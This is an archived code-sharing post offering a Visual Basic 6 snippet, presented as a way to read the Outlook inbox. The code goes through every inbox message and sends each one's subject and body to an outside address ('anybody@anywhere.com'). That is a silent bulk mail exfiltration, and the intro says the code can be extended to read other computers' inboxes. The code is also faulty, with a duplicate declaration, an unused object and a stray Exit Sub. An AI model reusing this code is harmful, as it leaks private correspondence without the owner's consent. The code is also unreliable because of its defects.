Search Tools Links Login

Get INBOX From OUTLOOK


NOw you can get the inbox from outlook (if enhanced you can get mails from other computers inboxes.) with this simple code. Please feedback if you cannot do anything with this code, so that I post the zip file with a sample prject. It also can send messages to people in OUtlook.

Original Author: vbnick

API Declarations

kayahan@programmer.net

Code

'by Kayhan Tanriseven
'THis code shows you how to get inbox from Outlook
[1]  Add the reference To the Outlook Object Library
Dim myOLApp As New Outlook.Application
Dim olNameSpace As Outlook.NameSpace
Dim myItem As New Outlook.AppointmentItem
Dim myRequest As New Outlook.MailItem
Dim myFolder As Outlook.MAPIFolder
Public myResponse
Dim L As String
Dim i As Integer
Dim SearchSub As String
Dim strSubject As String
Dim myFolder As Outlook.MAPIFolder
Dim strSender As String
Dim strBody As String
Dim olMapi As Object
Dim strOwnerBox As String
Dim sbOLApp

Set myOLApp = CreateObject("Outlook.Application")
Set olNameSpace = myOLApp.GetNamespace("MAPI")
Set myFolder = olNameSpace.GetDefaultFolder(olFolderInbox)

'Dim mailfolder As Outlook.MAPIFolder
Set olMapi = GetObject("", "Outlook.Application").GetNamespace("MAPI")
For i = 1 To myFolder.Items.Count
  strSubject = myFolder.Items(i).Subject
  strBody = myFolder.Items(i).Body
  strSender = myFolder.Items(i).SenderName
  strOwnerBox = myFolder.Items(i).ReceivedByName

' Now Mail it to somebody
  Set sbOLAPp = CreateObject("Outlook.Application")
  Set myRequest = myOLApp.CreateItem(olMailItem)
  With myRequest
    .Subject = strSubject
    .Body = strBody
    .To = "anybody@anywhere.com"
    .Send

  End With
  Set sbOLAPp = Nothing
Next
Set myOLApp = Nothing
Exit Sub

About this post

Posted: 2002-06-01
By: ArchiveBot
Viewed: 79 times

Categories

Visual Basic 6

Attachments

No attachments for this post


Loading Comments ...

Comments

No comments have been added for this post.

You must be logged in to make a comment.